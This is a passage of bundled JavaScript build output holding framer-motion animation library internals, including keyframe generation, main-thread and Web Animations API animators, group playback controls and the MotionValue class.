14530 return isClamp ? (v3) => interpolator(clamp2(input[0], input[inputLength - 1], v3)) : interpolator;
14531 }
14532
14533 // packages/components/node_modules/framer-motion/dist/es/utils/offsets/fill.mjs
14534 function fillOffset(offset3, remaining) {
14535 const min3 = offset3[offset3.length - 1];
14536 for (let i3 = 1; i3 <= remaining; i3++) {
14537 const offsetProgress = progress(0, remaining, i3);
14538 offset3.push(mixNumber(min3, 1, offsetProgress));
14539 }
14540 }
14541
14542 // packages/components/node_modules/framer-motion/dist/es/utils/offsets/default.mjs
14543 function defaultOffset(arr) {
14544 const offset3 = [0];
14545 fillOffset(offset3, arr.length - 1);
14546 return offset3;
14547 }
14548
14549 // packages/components/node_modules/framer-motion/dist/es/utils/offsets/time.mjs
14550 function convertOffsetToTimes(offset3, duration) {
14551 return offset3.map((o4) => o4 * duration);
14552 }
14553
14554 // packages/components/node_modules/framer-motion/dist/es/animation/generators/keyframes.mjs
14555 function defaultEasing(values, easing) {
14556 return values.map(() => easing || easeInOut).splice(0, values.length - 1);
14557 }
14558 function keyframes({ duration = 300, keyframes: keyframeValues, times, ease: ease2 = "easeInOut" }) {
14559 const easingFunctions = isEasingArray(ease2) ? ease2.map(easingDefinitionToFunction) : easingDefinitionToFunction(ease2);
14560 const state = {
14561 done: false,
14562 value: keyframeValues[0]
14563 };
14564 const absoluteTimes = convertOffsetToTimes(
14565 // Only use the provided offsets if they're the correct length
14566 // TODO Maybe we should warn here if there's a length mismatch
14567 times && times.length === keyframeValues.length ? times : defaultOffset(keyframeValues),
14568 duration
14569 );
14570 const mapTimeToKeyframe = interpolate(absoluteTimes, keyframeValues, {
14571 ease: Array.isArray(easingFunctions) ? easingFunctions : defaultEasing(keyframeValues, easingFunctions)
14572 });
14573 return {
14574 calculatedDuration: duration,
14575 next: (t4) => {
14576 state.value = mapTimeToKeyframe(t4);
14577 state.done = t4 >= duration;
14578 return state;
14579 }
14580 };
14581 }
14582
14583 // packages/components/node_modules/framer-motion/dist/es/animation/animators/drivers/driver-frameloop.mjs
14584 var frameloopDriver = (update) => {
14585 const passTimestamp = ({ timestamp }) => update(timestamp);
14586 return {
14587 start: () => frame.update(passTimestamp, true),
14588 stop: () => cancelFrame(passTimestamp),
14589 /**
14590 * If we're processing this frame we can use the
14591 * framelocked timestamp to keep things in sync.
14592 */
14593 now: () => frameData.isProcessing ? frameData.timestamp : time.now()
14594 };
14595 };
14596
14597 // packages/components/node_modules/framer-motion/dist/es/animation/animators/MainThreadAnimation.mjs
14598 var generators = {
14599 decay: inertia,
14600 inertia,
14601 tween: keyframes,
14602 keyframes,
14603 spring
14604 };
14605 var percentToProgress = (percent2) => percent2 / 100;
14606 var MainThreadAnimation = class extends BaseAnimation {
14607 constructor(options2) {
14608 super(options2);
14609 this.holdTime = null;
14610 this.cancelTime = null;
14611 this.currentTime = 0;
14612 this.playbackSpeed = 1;
14613 this.pendingPlayState = "running";
14614 this.startTime = null;
14615 this.state = "idle";
14616 this.stop = () => {
14617 this.resolver.cancel();
14618 this.isStopped = true;
14619 if (this.state === "idle")
14620 return;
14621 this.teardown();
14622 const { onStop } = this.options;
14623 onStop && onStop();
14624 };
14625 const { name, motionValue: motionValue2, element, keyframes: keyframes4 } = this.options;
14626 const KeyframeResolver$1 = (element === null || element === void 0 ? void 0 : element.KeyframeResolver) || KeyframeResolver;
14627 const onResolved = (resolvedKeyframes, finalKeyframe) => this.onKeyframesResolved(resolvedKeyframes, finalKeyframe);
14628 this.resolver = new KeyframeResolver$1(keyframes4, onResolved, name, motionValue2, element);
14629 this.resolver.scheduleResolve();
14630 }
14631 flatten() {
14632 super.flatten();
14633 if (this._resolved) {
14634 Object.assign(this._resolved, this.initPlayback(this._resolved.keyframes));
14635 }
14636 }
14637 initPlayback(keyframes$1) {
14638 const { type = "keyframes", repeat = 0, repeatDelay = 0, repeatType, velocity = 0 } = this.options;
14639 const generatorFactory = isGenerator(type) ? type : generators[type] || keyframes;
14640 let mapPercentToKeyframes;
14641 let mirroredGenerator;
14642 if (generatorFactory !== keyframes && typeof keyframes$1[0] !== "number") {
14643 if (true) {
14644 invariant2(keyframes$1.length === 2, `Only two keyframes currently supported with spring and inertia animations. Trying to animate ${keyframes$1}`);
14645 }
14646 mapPercentToKeyframes = pipe(percentToProgress, mix(keyframes$1[0], keyframes$1[1]));
14647 keyframes$1 = [0, 100];
14648 }
14649 const generator = generatorFactory({ ...this.options, keyframes: keyframes$1 });
14650 if (repeatType === "mirror") {
14651 mirroredGenerator = generatorFactory({
14652 ...this.options,
14653 keyframes: [...keyframes$1].reverse(),
14654 velocity: -velocity
14655 });
14656 }
14657 if (generator.calculatedDuration === null) {
14658 generator.calculatedDuration = calcGeneratorDuration(generator);
14659 }
14660 const { calculatedDuration } = generator;
14661 const resolvedDuration = calculatedDuration + repeatDelay;
14662 const totalDuration = resolvedDuration * (repeat + 1) - repeatDelay;
14663 return {
14664 generator,
14665 mirroredGenerator,
14666 mapPercentToKeyframes,
14667 calculatedDuration,
14668 resolvedDuration,
14669 totalDuration
14670 };
14671 }
14672 onPostResolved() {
14673 const { autoplay = true } = this.options;
14674 this.play();
14675 if (this.pendingPlayState === "paused" || !autoplay) {
14676 this.pause();
14677 } else {
14678 this.state = this.pendingPlayState;
14679 }
14680 }
14681 tick(timestamp, sample = false) {
14682 const { resolved } = this;
14683 if (!resolved) {
14684 const { keyframes: keyframes5 } = this.options;
14685 return { done: true, value: keyframes5[keyframes5.length - 1] };
14686 }
14687 const { finalKeyframe, generator, mirroredGenerator, mapPercentToKeyframes, keyframes: keyframes4, calculatedDuration, totalDuration, resolvedDuration } = resolved;
14688 if (this.startTime === null)
14689 return generator.next(0);
14690 const { delay: delay2, repeat, repeatType, repeatDelay, onUpdate } = this.options;
14691 if (this.speed > 0) {
14692 this.startTime = Math.min(this.startTime, timestamp);
14693 } else if (this.speed < 0) {
14694 this.startTime = Math.min(timestamp - totalDuration / this.speed, this.startTime);
14695 }
14696 if (sample) {
14697 this.currentTime = timestamp;
14698 } else if (this.holdTime !== null) {
14699 this.currentTime = this.holdTime;
14700 } else {
14701 this.currentTime = Math.round(timestamp - this.startTime) * this.speed;
14702 }
14703 const timeWithoutDelay = this.currentTime - delay2 * (this.speed >= 0 ? 1 : -1);
14704 const isInDelayPhase = this.speed >= 0 ? timeWithoutDelay < 0 : timeWithoutDelay > totalDuration;
14705 this.currentTime = Math.max(timeWithoutDelay, 0);
14706 if (this.state === "finished" && this.holdTime === null) {
14707 this.currentTime = totalDuration;
14708 }
14709 let elapsed = this.currentTime;
14710 let frameGenerator = generator;
14711 if (repeat) {
14712 const progress2 = Math.min(this.currentTime, totalDuration) / resolvedDuration;
14713 let currentIteration = Math.floor(progress2);
14714 let iterationProgress = progress2 % 1;
14715 if (!iterationProgress && progress2 >= 1) {
14716 iterationProgress = 1;
14717 }
14718 iterationProgress === 1 && currentIteration--;
14719 currentIteration = Math.min(currentIteration, repeat + 1);
14720 const isOddIteration = Boolean(currentIteration % 2);
14721 if (isOddIteration) {
14722 if (repeatType === "reverse") {
14723 iterationProgress = 1 - iterationProgress;
14724 if (repeatDelay) {
14725 iterationProgress -= repeatDelay / resolvedDuration;
14726 }
14727 } else if (repeatType === "mirror") {
14728 frameGenerator = mirroredGenerator;
14729 }
14730 }
14731 elapsed = clamp2(0, 1, iterationProgress) * resolvedDuration;
14732 }
14733 const state = isInDelayPhase ? { done: false, value: keyframes4[0] } : frameGenerator.next(elapsed);
14734 if (mapPercentToKeyframes) {
14735 state.value = mapPercentToKeyframes(state.value);
14736 }
14737 let { done } = state;
14738 if (!isInDelayPhase && calculatedDuration !== null) {
14739 done = this.speed >= 0 ? this.currentTime >= totalDuration : this.currentTime <= 0;
14740 }
14741 const isAnimationFinished = this.holdTime === null && (this.state === "finished" || this.state === "running" && done);
14742 if (isAnimationFinished && finalKeyframe !== void 0) {
14743 state.value = getFinalKeyframe(keyframes4, this.options, finalKeyframe);
14744 }
14745 if (onUpdate) {
14746 onUpdate(state.value);
14747 }
14748 if (isAnimationFinished) {
14749 this.finish();
14750 }
14751 return state;
14752 }
14753 get duration() {
14754 const { resolved } = this;
14755 return resolved ? millisecondsToSeconds(resolved.calculatedDuration) : 0;
14756 }
14757 get time() {
14758 return millisecondsToSeconds(this.currentTime);
14759 }
14760 set time(newTime) {
14761 newTime = secondsToMilliseconds(newTime);
14762 this.currentTime = newTime;
14763 if (this.holdTime !== null || this.speed === 0) {
14764 this.holdTime = newTime;
14765 } else if (this.driver) {
14766 this.startTime = this.driver.now() - newTime / this.speed;
14767 }
14768 }
14769 get speed() {
14770 return this.playbackSpeed;
14771 }
14772 set speed(newSpeed) {
14773 const hasChanged = this.playbackSpeed !== newSpeed;
14774 this.playbackSpeed = newSpeed;
14775 if (hasChanged) {
14776 this.time = millisecondsToSeconds(this.currentTime);
14777 }
14778 }
14779 play() {
14780 if (!this.resolver.isScheduled) {
14781 this.resolver.resume();
14782 }
14783 if (!this._resolved) {
14784 this.pendingPlayState = "running";
14785 return;
14786 }
14787 if (this.isStopped)
14788 return;
14789 const { driver = frameloopDriver, onPlay, startTime } = this.options;
14790 if (!this.driver) {
14791 this.driver = driver((timestamp) => this.tick(timestamp));
14792 }
14793 onPlay && onPlay();
14794 const now2 = this.driver.now();
14795 if (this.holdTime !== null) {
14796 this.startTime = now2 - this.holdTime;
14797 } else if (!this.startTime) {
14798 this.startTime = startTime !== null && startTime !== void 0 ? startTime : this.calcStartTime();
14799 } else if (this.state === "finished") {
14800 this.startTime = now2;
14801 }
14802 if (this.state === "finished") {
14803 this.updateFinishedPromise();
14804 }
14805 this.cancelTime = this.startTime;
14806 this.holdTime = null;
14807 this.state = "running";
14808 this.driver.start();
14809 }
14810 pause() {
14811 var _a;
14812 if (!this._resolved) {
14813 this.pendingPlayState = "paused";
14814 return;
14815 }
14816 this.state = "paused";
14817 this.holdTime = (_a = this.currentTime) !== null && _a !== void 0 ? _a : 0;
14818 }
14819 complete() {
14820 if (this.state !== "running") {
14821 this.play();
14822 }
14823 this.pendingPlayState = this.state = "finished";
14824 this.holdTime = null;
14825 }
14826 finish() {
14827 this.teardown();
14828 this.state = "finished";
14829 const { onComplete } = this.options;
14830 onComplete && onComplete();
14831 }
14832 cancel() {
14833 if (this.cancelTime !== null) {
14834 this.tick(this.cancelTime);
14835 }
14836 this.teardown();
14837 this.updateFinishedPromise();
14838 }
14839 teardown() {
14840 this.state = "idle";
14841 this.stopDriver();
14842 this.resolveFinishedPromise();
14843 this.updateFinishedPromise();
14844 this.startTime = this.cancelTime = null;
14845 this.resolver.cancel();
14846 }
14847 stopDriver() {
14848 if (!this.driver)
14849 return;
14850 this.driver.stop();
14851 this.driver = void 0;
14852 }
14853 sample(time2) {
14854 this.startTime = 0;
14855 return this.tick(time2, true);
14856 }
14857 };
14858
14859 // packages/components/node_modules/framer-motion/dist/es/animation/animators/utils/accelerated-values.mjs
14860 var acceleratedValues = /* @__PURE__ */ new Set([
14861 "opacity",
14862 "clipPath",
14863 "filter",
14864 "transform"
14865 // TODO: Can be accelerated but currently disabled until https://issues.chromium.org/issues/41491098 is resolved
14866 // or until we implement support for linear() easing.
14867 // "background-color"
14868 ]);
14869
14870 // packages/components/node_modules/framer-motion/dist/es/utils/memo.mjs
14871 function memo3(callback) {
14872 let result;
14873 return () => {
14874 if (result === void 0)
14875 result = callback();
14876 return result;
14877 };
14878 }
14879
14880 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/utils/supports-flags.mjs
14881 var supportsFlags = {
14882 linearEasing: void 0
14883 };
14884
14885 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/utils/memo-supports.mjs
14886 function memoSupports(callback, supportsFlag) {
14887 const memoized = memo3(callback);
14888 return () => {
14889 var _a;
14890 return (_a = supportsFlags[supportsFlag]) !== null && _a !== void 0 ? _a : memoized();
14891 };
14892 }
14893
14894 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/utils/supports-linear-easing.mjs
14895 var supportsLinearEasing = /* @__PURE__ */ memoSupports(() => {
14896 try {
14897 document.createElement("div").animate({ opacity: 0 }, { easing: "linear(0, 1)" });
14898 } catch (e3) {
14899 return false;
14900 }
14901 return true;
14902 }, "linearEasing");
14903
14904 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/easing.mjs
14905 function isWaapiSupportedEasing(easing) {
14906 return Boolean(typeof easing === "function" && supportsLinearEasing() || !easing || typeof easing === "string" && (easing in supportedWaapiEasing || supportsLinearEasing()) || isBezierDefinition(easing) || Array.isArray(easing) && easing.every(isWaapiSupportedEasing));
14907 }
14908 var cubicBezierAsString = ([a3, b3, c3, d3]) => `cubic-bezier(${a3}, ${b3}, ${c3}, ${d3})`;
14909 var supportedWaapiEasing = {
14910 linear: "linear",
14911 ease: "ease",
14912 easeIn: "ease-in",
14913 easeOut: "ease-out",
14914 easeInOut: "ease-in-out",
14915 circIn: /* @__PURE__ */ cubicBezierAsString([0, 0.65, 0.55, 1]),
14916 circOut: /* @__PURE__ */ cubicBezierAsString([0.55, 0, 1, 0.45]),
14917 backIn: /* @__PURE__ */ cubicBezierAsString([0.31, 0.01, 0.66, -0.59]),
14918 backOut: /* @__PURE__ */ cubicBezierAsString([0.33, 1.53, 0.69, 0.99])
14919 };
14920 function mapEasingToNativeEasing(easing, duration) {
14921 if (!easing) {
14922 return void 0;
14923 } else if (typeof easing === "function" && supportsLinearEasing()) {
14924 return generateLinearEasing(easing, duration);
14925 } else if (isBezierDefinition(easing)) {
14926 return cubicBezierAsString(easing);
14927 } else if (Array.isArray(easing)) {
14928 return easing.map((segmentEasing) => mapEasingToNativeEasing(segmentEasing, duration) || supportedWaapiEasing.easeOut);
14929 } else {
14930 return supportedWaapiEasing[easing];
14931 }
14932 }
14933
14934 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/index.mjs
14935 function startWaapiAnimation(element, valueName, keyframes4, { delay: delay2 = 0, duration = 300, repeat = 0, repeatType = "loop", ease: ease2 = "easeInOut", times } = {}) {
14936 const keyframeOptions = { [valueName]: keyframes4 };
14937 if (times)
14938 keyframeOptions.offset = times;
14939 const easing = mapEasingToNativeEasing(ease2, duration);
14940 if (Array.isArray(easing))
14941 keyframeOptions.easing = easing;
14942 return element.animate(keyframeOptions, {
14943 delay: delay2,
14944 duration,
14945 easing: !Array.isArray(easing) ? easing : "linear",
14946 fill: "both",
14947 iterations: repeat + 1,
14948 direction: repeatType === "reverse" ? "alternate" : "normal"
14949 });
14950 }
14951
14952 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/utils/attach-timeline.mjs
14953 function attachTimeline(animation, timeline) {
14954 animation.timeline = timeline;
14955 animation.onfinish = null;
14956 }
14957
14958 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/utils/supports-waapi.mjs
14959 var supportsWaapi = /* @__PURE__ */ memo3(() => Object.hasOwnProperty.call(Element.prototype, "animate"));
14960
14961 // packages/components/node_modules/framer-motion/dist/es/animation/animators/AcceleratedAnimation.mjs
14962 var sampleDelta = 10;
14963 var maxDuration = 2e4;
14964 function requiresPregeneratedKeyframes(options2) {
14965 return isGenerator(options2.type) || options2.type === "spring" || !isWaapiSupportedEasing(options2.ease);
14966 }
14967 function pregenerateKeyframes(keyframes4, options2) {
14968 const sampleAnimation = new MainThreadAnimation({
14969 ...options2,
14970 keyframes: keyframes4,
14971 repeat: 0,
14972 delay: 0,
14973 isGenerator: true
14974 });
14975 let state = { done: false, value: keyframes4[0] };
14976 const pregeneratedKeyframes = [];
14977 let t4 = 0;
14978 while (!state.done && t4 < maxDuration) {
14979 state = sampleAnimation.sample(t4);
14980 pregeneratedKeyframes.push(state.value);
14981 t4 += sampleDelta;
14982 }
14983 return {
14984 times: void 0,
14985 keyframes: pregeneratedKeyframes,
14986 duration: t4 - sampleDelta,
14987 ease: "linear"
14988 };
14989 }
14990 var unsupportedEasingFunctions = {
14991 anticipate,
14992 backInOut,
14993 circInOut
14994 };
14995 function isUnsupportedEase(key) {
14996 return key in unsupportedEasingFunctions;
14997 }
14998 var AcceleratedAnimation = class extends BaseAnimation {
14999 constructor(options2) {
15000 super(options2);
15001 const { name, motionValue: motionValue2, element, keyframes: keyframes4 } = this.options;
15002 this.resolver = new DOMKeyframesResolver(keyframes4, (resolvedKeyframes, finalKeyframe) => this.onKeyframesResolved(resolvedKeyframes, finalKeyframe), name, motionValue2, element);
15003 this.resolver.scheduleResolve();
15004 }
15005 initPlayback(keyframes4, finalKeyframe) {
15006 var _a;
15007 let { duration = 300, times, ease: ease2, type, motionValue: motionValue2, name, startTime } = this.options;
15008 if (!((_a = motionValue2.owner) === null || _a === void 0 ? void 0 : _a.current)) {
15009 return false;
15010 }
15011 if (typeof ease2 === "string" && supportsLinearEasing() && isUnsupportedEase(ease2)) {
15012 ease2 = unsupportedEasingFunctions[ease2];
15013 }
15014 if (requiresPregeneratedKeyframes(this.options)) {
15015 const { onComplete, onUpdate, motionValue: motionValue3, element, ...options2 } = this.options;
15016 const pregeneratedAnimation = pregenerateKeyframes(keyframes4, options2);
15017 keyframes4 = pregeneratedAnimation.keyframes;
15018 if (keyframes4.length === 1) {
15019 keyframes4[1] = keyframes4[0];
15020 }
15021 duration = pregeneratedAnimation.duration;
15022 times = pregeneratedAnimation.times;
15023 ease2 = pregeneratedAnimation.ease;
15024 type = "keyframes";
15025 }
15026 const animation = startWaapiAnimation(motionValue2.owner.current, name, keyframes4, { ...this.options, duration, times, ease: ease2 });
15027 animation.startTime = startTime !== null && startTime !== void 0 ? startTime : this.calcStartTime();
15028 if (this.pendingTimeline) {
15029 attachTimeline(animation, this.pendingTimeline);
15030 this.pendingTimeline = void 0;
15031 } else {
15032 animation.onfinish = () => {
15033 const { onComplete } = this.options;
15034 motionValue2.set(getFinalKeyframe(keyframes4, this.options, finalKeyframe));
15035 onComplete && onComplete();
15036 this.cancel();
15037 this.resolveFinishedPromise();
15038 };
15039 }
15040 return {
15041 animation,
15042 duration,
15043 times,
15044 type,
15045 ease: ease2,
15046 keyframes: keyframes4
15047 };
15048 }
15049 get duration() {
15050 const { resolved } = this;
15051 if (!resolved)
15052 return 0;
15053 const { duration } = resolved;
15054 return millisecondsToSeconds(duration);
15055 }
15056 get time() {
15057 const { resolved } = this;
15058 if (!resolved)
15059 return 0;
15060 const { animation } = resolved;
15061 return millisecondsToSeconds(animation.currentTime || 0);
15062 }
15063 set time(newTime) {
15064 const { resolved } = this;
15065 if (!resolved)
15066 return;
15067 const { animation } = resolved;
15068 animation.currentTime = secondsToMilliseconds(newTime);
15069 }
15070 get speed() {
15071 const { resolved } = this;
15072 if (!resolved)
15073 return 1;
15074 const { animation } = resolved;
15075 return animation.playbackRate;
15076 }
15077 set speed(newSpeed) {
15078 const { resolved } = this;
15079 if (!resolved)
15080 return;
15081 const { animation } = resolved;
15082 animation.playbackRate = newSpeed;
15083 }
15084 get state() {
15085 const { resolved } = this;
15086 if (!resolved)
15087 return "idle";
15088 const { animation } = resolved;
15089 return animation.playState;
15090 }
15091 get startTime() {
15092 const { resolved } = this;
15093 if (!resolved)
15094 return null;
15095 const { animation } = resolved;
15096 return animation.startTime;
15097 }
15098 /**
15099 * Replace the default DocumentTimeline with another AnimationTimeline.
15100 * Currently used for scroll animations.
15101 */
15102 attachTimeline(timeline) {
15103 if (!this._resolved) {
15104 this.pendingTimeline = timeline;
15105 } else {
15106 const { resolved } = this;
15107 if (!resolved)
15108 return noop2;
15109 const { animation } = resolved;
15110 attachTimeline(animation, timeline);
15111 }
15112 return noop2;
15113 }
15114 play() {
15115 if (this.isStopped)
15116 return;
15117 const { resolved } = this;
15118 if (!resolved)
15119 return;
15120 const { animation } = resolved;
15121 if (animation.playState === "finished") {
15122 this.updateFinishedPromise();
15123 }
15124 animation.play();
15125 }
15126 pause() {
15127 const { resolved } = this;
15128 if (!resolved)
15129 return;
15130 const { animation } = resolved;
15131 animation.pause();
15132 }
15133 stop() {
15134 this.resolver.cancel();
15135 this.isStopped = true;
15136 if (this.state === "idle")
15137 return;
15138 this.resolveFinishedPromise();
15139 this.updateFinishedPromise();
15140 const { resolved } = this;
15141 if (!resolved)
15142 return;
15143 const { animation, keyframes: keyframes4, duration, type, ease: ease2, times } = resolved;
15144 if (animation.playState === "idle" || animation.playState === "finished") {
15145 return;
15146 }
15147 if (this.time) {
15148 const { motionValue: motionValue2, onUpdate, onComplete, element, ...options2 } = this.options;
15149 const sampleAnimation = new MainThreadAnimation({
15150 ...options2,
15151 keyframes: keyframes4,
15152 duration,
15153 type,
15154 ease: ease2,
15155 times,
15156 isGenerator: true
15157 });
15158 const sampleTime = secondsToMilliseconds(this.time);
15159 motionValue2.setWithVelocity(sampleAnimation.sample(sampleTime - sampleDelta).value, sampleAnimation.sample(sampleTime).value, sampleDelta);
15160 }
15161 const { onStop } = this.options;
15162 onStop && onStop();
15163 this.cancel();
15164 }
15165 complete() {
15166 const { resolved } = this;
15167 if (!resolved)
15168 return;
15169 resolved.animation.finish();
15170 }
15171 cancel() {
15172 const { resolved } = this;
15173 if (!resolved)
15174 return;
15175 resolved.animation.cancel();
15176 }
15177 static supports(options2) {
15178 const { motionValue: motionValue2, name, repeatDelay, repeatType, damping, type } = options2;
15179 return supportsWaapi() && name && acceleratedValues.has(name) && motionValue2 && motionValue2.owner && motionValue2.owner.current instanceof HTMLElement && /**
15180 * If we're outputting values to onUpdate then we can't use WAAPI as there's
15181 * no way to read the value from WAAPI every frame.
15182 */
15183 !motionValue2.owner.getProps().onUpdate && !repeatDelay && repeatType !== "mirror" && damping !== 0 && type !== "inertia";
15184 }
15185 };
15186
15187 // packages/components/node_modules/framer-motion/dist/es/render/dom/scroll/supports.mjs
15188 var supportsScrollTimeline = memo3(() => window.ScrollTimeline !== void 0);
15189
15190 // packages/components/node_modules/framer-motion/dist/es/animation/GroupPlaybackControls.mjs
15191 var GroupPlaybackControls = class {
15192 constructor(animations2) {
15193 this.stop = () => this.runAll("stop");
15194 this.animations = animations2.filter(Boolean);
15195 }
15196 then(onResolve, onReject) {
15197 return Promise.all(this.animations).then(onResolve).catch(onReject);
15198 }
15199 /**
15200 * TODO: Filter out cancelled or stopped animations before returning
15201 */
15202 getAll(propName) {
15203 return this.animations[0][propName];
15204 }
15205 setAll(propName, newValue) {
15206 for (let i3 = 0; i3 < this.animations.length; i3++) {
15207 this.animations[i3][propName] = newValue;
15208 }
15209 }
15210 attachTimeline(timeline, fallback) {
15211 const subscriptions = this.animations.map((animation) => {
15212 if (supportsScrollTimeline() && animation.attachTimeline) {
15213 return animation.attachTimeline(timeline);
15214 } else {
15215 return fallback(animation);
15216 }
15217 });
15218 return () => {
15219 subscriptions.forEach((cancel, i3) => {
15220 cancel && cancel();
15221 this.animations[i3].stop();
15222 });
15223 };
15224 }
15225 get time() {
15226 return this.getAll("time");
15227 }
15228 set time(time2) {
15229 this.setAll("time", time2);
15230 }
15231 get speed() {
15232 return this.getAll("speed");
15233 }
15234 set speed(speed) {
15235 this.setAll("speed", speed);
15236 }
15237 get startTime() {
15238 return this.getAll("startTime");
15239 }
15240 get duration() {
15241 let max3 = 0;
15242 for (let i3 = 0; i3 < this.animations.length; i3++) {
15243 max3 = Math.max(max3, this.animations[i3].duration);
15244 }
15245 return max3;
15246 }
15247 runAll(methodName) {
15248 this.animations.forEach((controls) => controls[methodName]());
15249 }
15250 flatten() {
15251 this.runAll("flatten");
15252 }
15253 play() {
15254 this.runAll("play");
15255 }
15256 pause() {
15257 this.runAll("pause");
15258 }
15259 cancel() {
15260 this.runAll("cancel");
15261 }
15262 complete() {
15263 this.runAll("complete");
15264 }
15265 };
15266
15267 // packages/components/node_modules/framer-motion/dist/es/animation/utils/is-transition-defined.mjs
15268 function isTransitionDefined({ when, delay: _delay, delayChildren, staggerChildren, staggerDirection, repeat, repeatType, repeatDelay, from: from2, elapsed, ...transition }) {
15269 return !!Object.keys(transition).length;
15270 }
15271
15272 // packages/components/node_modules/framer-motion/dist/es/animation/interfaces/motion-value.mjs
15273 var animateMotionValue = (name, value, target, transition = {}, element, isHandoff) => (onComplete) => {
15274 const valueTransition = getValueTransition(transition, name) || {};
15275 const delay2 = valueTransition.delay || transition.delay || 0;
15276 let { elapsed = 0 } = transition;
15277 elapsed = elapsed - secondsToMilliseconds(delay2);
15278 let options2 = {
15279 keyframes: Array.isArray(target) ? target : [null, target],
15280 ease: "easeOut",
15281 velocity: value.getVelocity(),
15282 ...valueTransition,
15283 delay: -elapsed,
15284 onUpdate: (v3) => {
15285 value.set(v3);
15286 valueTransition.onUpdate && valueTransition.onUpdate(v3);
15287 },
15288 onComplete: () => {
15289 onComplete();
15290 valueTransition.onComplete && valueTransition.onComplete();
15291 },
15292 name,
15293 motionValue: value,
15294 element: isHandoff ? void 0 : element
15295 };
15296 if (!isTransitionDefined(valueTransition)) {
15297 options2 = {
15298 ...options2,
15299 ...getDefaultTransition(name, options2)
15300 };
15301 }
15302 if (options2.duration) {
15303 options2.duration = secondsToMilliseconds(options2.duration);
15304 }
15305 if (options2.repeatDelay) {
15306 options2.repeatDelay = secondsToMilliseconds(options2.repeatDelay);
15307 }
15308 if (options2.from !== void 0) {
15309 options2.keyframes[0] = options2.from;
15310 }
15311 let shouldSkip = false;
15312 if (options2.type === false || options2.duration === 0 && !options2.repeatDelay) {
15313 options2.duration = 0;
15314 if (options2.delay === 0) {
15315 shouldSkip = true;
15316 }
15317 }
15318 if (instantAnimationState.current || MotionGlobalConfig.skipAnimations) {
15319 shouldSkip = true;
15320 options2.duration = 0;
15321 options2.delay = 0;
15322 }
15323 if (shouldSkip && !isHandoff && value.get() !== void 0) {
15324 const finalKeyframe = getFinalKeyframe(options2.keyframes, valueTransition);
15325 if (finalKeyframe !== void 0) {
15326 frame.update(() => {
15327 options2.onUpdate(finalKeyframe);
15328 options2.onComplete();
15329 });
15330 return new GroupPlaybackControls([]);
15331 }
15332 }
15333 if (!isHandoff && AcceleratedAnimation.supports(options2)) {
15334 return new AcceleratedAnimation(options2);
15335 } else {
15336 return new MainThreadAnimation(options2);
15337 }
15338 };
15339
15340 // packages/components/node_modules/framer-motion/dist/es/utils/resolve-value.mjs
15341 var isCustomValue = (v3) => {
15342 return Boolean(v3 && typeof v3 === "object" && v3.mix && v3.toValue);
15343 };
15344 var resolveFinalValueInKeyframes = (v3) => {
15345 return isKeyframesTarget(v3) ? v3[v3.length - 1] || 0 : v3;
15346 };
15347
15348 // packages/components/node_modules/framer-motion/dist/es/utils/array.mjs
15349 function addUniqueItem(arr, item2) {
15350 if (arr.indexOf(item2) === -1)
15351 arr.push(item2);
15352 }
15353 function removeItem(arr, item2) {
15354 const index2 = arr.indexOf(item2);
15355 if (index2 > -1)
15356 arr.splice(index2, 1);
15357 }
15358
15359 // packages/components/node_modules/framer-motion/dist/es/utils/subscription-manager.mjs
15360 var SubscriptionManager = class {
15361 constructor() {
15362 this.subscriptions = [];
15363 }
15364 add(handler) {
15365 addUniqueItem(this.subscriptions, handler);
15366 return () => removeItem(this.subscriptions, handler);
15367 }
15368 notify(a3, b3, c3) {
15369 const numSubscriptions = this.subscriptions.length;
15370 if (!numSubscriptions)
15371 return;
15372 if (numSubscriptions === 1) {
15373 this.subscriptions[0](a3, b3, c3);
15374 } else {
15375 for (let i3 = 0; i3 < numSubscriptions; i3++) {
15376 const handler = this.subscriptions[i3];
15377 handler && handler(a3, b3, c3);
15378 }
15379 }
15380 }
15381 getSize() {
15382 return this.subscriptions.length;
15383 }
15384 clear() {
15385 this.subscriptions.length = 0;
15386 }
15387 };
15388
15389 // packages/components/node_modules/framer-motion/dist/es/value/index.mjs
15390 var MAX_VELOCITY_DELTA = 30;
15391 var isFloat = (value) => {
15392 return !isNaN(parseFloat(value));
15393 };
15394 var collectMotionValues = {
15395 current: void 0
15396 };
15397 var MotionValue = class {
15398 /**
15399 * @param init - The initiating value
15400 * @param config - Optional configuration options
15401 *
15402 * - `transformer`: A function to transform incoming values with.
15403 *
15404 * @internal
15405 */
15406 constructor(init2, options2 = {}) {
15407 this.version = "11.15.0";
15408 this.canTrackVelocity = null;
15409 this.events = {};
15410 this.updateAndNotify = (v3, render = true) => {
15411 const currentTime = time.now();
15412 if (this.updatedAt !== currentTime) {
15413 this.setPrevFrameValue();
15414 }
15415 this.prev = this.current;
15416 this.setCurrent(v3);
15417 if (this.current !== this.prev && this.events.change) {
15418 this.events.change.notify(this.current);
15419 }
15420 if (render && this.events.renderRequest) {
15421 this.events.renderRequest.notify(this.current);
15422 }
15423 };
15424 this.hasAnimated = false;
15425 this.setCurrent(init2);
15426 this.owner = options2.owner;
15427 }
15428 setCurrent(current) {
15429 this.current = current;
15430 this.updatedAt = time.now();
15431 if (this.canTrackVelocity === null && current !== void 0) {
15432 this.canTrackVelocity = isFloat(this.current);
15433 }
15434 }
15435 setPrevFrameValue(prevFrameValue = this.current) {
15436 this.prevFrameValue = prevFrameValue;
15437 this.prevUpdatedAt = this.updatedAt;
15438 }
15439 /**
15440 * Adds a function that will be notified when the `MotionValue` is updated.
15441 *
15442 * It returns a function that, when called, will cancel the subscription.
15443 *
15444 * When calling `onChange` inside a React component, it should be wrapped with the
15445 * `useEffect` hook. As it returns an unsubscribe function, this should be returned
15446 * from the `useEffect` function to ensure you don't add duplicate subscribers..
15447 *
15448 * ```jsx
15449 * export const MyComponent = () => {
15450 * const x = useMotionValue(0)
15451 * const y = useMotionValue(0)
15452 * const opacity = useMotionValue(1)
15453 *
15454 * useEffect(() => {
15455 * function updateOpacity() {
15456 * const maxXY = Math.max(x.get(), y.get())
15457 * const newOpacity = transform(maxXY, [0, 100], [1, 0])
15458 * opacity.set(newOpacity)
15459 * }
15460 *
